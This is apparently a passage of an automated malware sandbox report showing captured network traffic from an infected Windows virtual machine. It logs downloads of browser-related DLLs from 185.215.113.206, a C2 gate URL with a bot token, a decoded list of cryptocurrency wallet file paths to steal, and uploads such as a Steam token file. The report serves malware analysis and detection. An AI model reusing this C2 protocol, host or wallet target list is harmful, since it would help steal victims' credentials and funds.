00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Oct 28, 2024 02:07:47.979799986 CET	95	OUT	GET /746f34465cf17784/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 28, 2024 02:07:48.261832952 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:48 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Oct 28, 2024 02:07:48.671956062 CET	91	OUT	GET /746f34465cf17784/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 28, 2024 02:07:48.960987091 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:48 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Oct 28, 2024 02:07:50.590570927 CET	95	OUT	GET /746f34465cf17784/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 28, 2024 02:07:50.872358084 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:50 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Oct 28, 2024 02:07:51.081487894 CET	99	OUT	GET /746f34465cf17784/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 28, 2024 02:07:51.363214970 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:51 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Oct 28, 2024 02:07:51.979913950 CET	202	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKFCAFCFBAEHIDHJDBGC Host: 185.215.113.206 Content-Length: 947 Connection: Keep-Alive Cache-Control: no-cache
Oct 28, 2024 02:07:52.763843060 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:52 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 28, 2024 02:07:52.831521034 CET	469	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FCGIJDBAFCBAAKECGDGC Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 43 47 49 4a 44 42 41 46 43 42 41 41 4b 45 43 47 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 34 31 30 31 38 32 31 33 36 65 31 64 66 61 39 38 63 65 34 36 63 39 33 30 61 66 35 61 36 34 32 31 66 64 61 34 35 65 39 64 63 64 62 32 65 61 37 33 65 35 36 66 38 66 35 66 34 35 65 63 64 39 37 61 35 62 30 32 64 37 63 0d 0a 2d 2d 2d 2d 2d 2d 46 43 47 49 4a 44 42 41 46 43 42 41 41 4b 45 43 47 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 46 43 47 49 4a 44 42 41 46 43 42 41 41 4b 45 43 47 44 47 43 2d 2d 0d 0a Data Ascii: ------FCGIJDBAFCBAAKECGDGCContent-Disposition: form-data; name="token"f410182136e1dfa98ce46c930af5a6421fda45e9dcdb2ea73e56f8f5f45ecd97a5b02d7c------FCGIJDBAFCBAAKECGDGCContent-Disposition: form-data; name="message"wallets------FCGIJDBAFCBAAKECGDGC--
Oct 28, 2024 02:07:53.115139961 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:52 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Oct 28, 2024 02:07:53.118360996 CET	467	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JEBGIIDBKEBFBGCAEBAK Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 45 42 47 49 49 44 42 4b 45 42 46 42 47 43 41 45 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 34 31 30 31 38 32 31 33 36 65 31 64 66 61 39 38 63 65 34 36 63 39 33 30 61 66 35 61 36 34 32 31 66 64 61 34 35 65 39 64 63 64 62 32 65 61 37 33 65 35 36 66 38 66 35 66 34 35 65 63 64 39 37 61 35 62 30 32 64 37 63 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 47 49 49 44 42 4b 45 42 46 42 47 43 41 45 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 47 49 49 44 42 4b 45 42 46 42 47 43 41 45 42 41 4b 2d 2d 0d 0a Data Ascii: ------JEBGIIDBKEBFBGCAEBAKContent-Disposition: form-data; name="token"f410182136e1dfa98ce46c930af5a6421fda45e9dcdb2ea73e56f8f5f45ecd97a5b02d7c------JEBGIIDBKEBFBGCAEBAKContent-Disposition: form-data; name="message"files------JEBGIIDBKEBFBGCAEBAK--
Oct 28, 2024 02:07:53.403122902 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:53 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 28, 2024 02:07:53.419049978 CET	565	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGCBAFCFIJJJECBGIIJK Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 43 42 41 46 43 46 49 4a 4a 4a 45 43 42 47 49 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 34 31 30 31 38 32 31 33 36 65 31 64 66 61 39 38 63 65 34 36 63 39 33 30 61 66 35 61 36 34 32 31 66 64 61 34 35 65 39 64 63 64 62 32 65 61 37 33 65 35 36 66 38 66 35 66 34 35 65 63 64 39 37 61 35 62 30 32 64 37 63 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 42 41 46 43 46 49 4a 4a 4a 45 43 42 47 49 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 42 41 46 43 46 49 4a 4a 4a 45 43 42 47 49 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------EGCBAFCFIJJJECBGIIJKContent-Disposition: form-data; name="token"f410182136e1dfa98ce46c930af5a6421fda45e9dcdb2ea73e56f8f5f45ecd97a5b02d7c------EGCBAFCFIJJJECBGIIJKContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------EGCBAFCFIJJJECBGIIJKContent-Disposition: form-data; name="file"------EGCBAFCFIJJJECBGIIJK--
Oct 28, 2024 02:07:54.193020105 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:53 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 28, 2024 02:07:54.219511986 CET	474	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBGCBGCAFIIECBFIDHIJ Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 42 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 34 31 30 31 38 32 31 33 36 65 31 64 66 61 39 38 63 65 34 36 63 39 33 30 61 66 35 61 36 34 32 31 66 64 61 34 35 65 39 64 63 64 62 32 65 61 37 33 65 35 36 66 38 66 35 66 34 35 65 63 64 39 37 61 35 62 30 32 64 37 63 0d 0a 2d 2d 2d 2d 2d 2d 43 42 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 43 42 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 2d 2d 0d 0a Data Ascii: ------CBGCBGCAFIIECBFIDHIJContent-Disposition: form-data; name="token"f410182136e1dfa98ce46c930af5a6421fda45e9dcdb2ea73e56f8f5f45ecd97a5b02d7c------CBGCBGCAFIIECBFIDHIJContent-Disposition: form-data; name="message"ybncbhylepme------CBGCBGCAFIIECBFIDHIJ--
Oct 28, 2024 02:07:54.503443003 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:54 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 28, 2024 02:07:54.504694939 CET	474	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFBFBFIIJDAKECAKKJEH Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 46 42 46 42 46 49 49 4a 44 41 4b 45 43 41 4b 4b 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 34 31 30 31 38 32 31 33 36 65 31 64 66 61 39 38 63 65 34 36 63 39 33 30 61 66 35 61 36 34 32 31 66 64 61 34 35 65 39 64 63 64 62 32 65 61 37 33 65 35 36 66 38 66 35 66 34 35 65 63 64 39 37 61 35 62 30 32 64 37 63 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 46 42 46 49 49 4a 44 41 4b 45 43 41 4b 4b 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 46 42 46 49 49 4a 44 41 4b 45 43 41 4b 4b 4a 45 48 2d 2d 0d 0a Data Ascii: ------BFBFBFIIJDAKECAKKJEHContent-Disposition: form-data; name="token"f410182136e1dfa98ce46c930af5a6421fda45e9dcdb2ea73e56f8f5f45ecd97a5b02d7c------BFBFBFIIJDAKECAKKJEHContent-Disposition: form-data; name="message"wkkjqaiaxkhb------BFBFBFIIJDAKECAKKJEH--
Oct 28, 2024 02:07:55.279607058 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:54 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=87 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.6	49709	40.113.110.67	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:09 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 7a 57 43 53 4a 6c 71 7a 48 6b 79 53 44 6b 4d 4c 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 32 65 34 63 61 63 65 31 34 66 38 61 62 37 34 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: zWCSJlqzHkySDkML.1Context: a2e4cace14f8ab74
2024-10-28 01:07:09 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-10-28 01:07:09 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 7a 57 43 53 4a 6c 71 7a 48 6b 79 53 44 6b 4d 4c 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 32 65 34 63 61 63 65 31 34 66 38 61 62 37 34 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 65 6c 79 43 7a 75 4e 77 52 62 48 43 51 63 41 48 39 6f 79 6a 35 65 75 69 6d 6c 31 31 78 46 6d 64 79 44 4c 74 72 2b 55 39 45 2f 2f 63 59 2f 6a 5a 77 31 65 6d 32 56 4d 67 53 70 77 55 51 62 64 64 50 78 42 69 74 6f 6e 5a 46 36 39 6c 6e 32 4b 61 6a 4f 6a 4e 4f 6a 69 73 67 76 68 6c 54 63 38 32 36 74 63 38 54 4c 52 4d 71 4b 49 36 78 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: zWCSJlqzHkySDkML.2Context: a2e4cace14f8ab74<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAelyCzuNwRbHCQcAH9oyj5euiml11xFmdyDLtr+U9E//cY/jZw1em2VMgSpwUQbddPxBitonZF69ln2KajOjNOjisgvhlTc826tc8TLRMqKI6x
2024-10-28 01:07:09 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 7a 57 43 53 4a 6c 71 7a 48 6b 79 53 44 6b 4d 4c 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 32 65 34 63 61 63 65 31 34 66 38 61 62 37 34 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: zWCSJlqzHkySDkML.3Context: 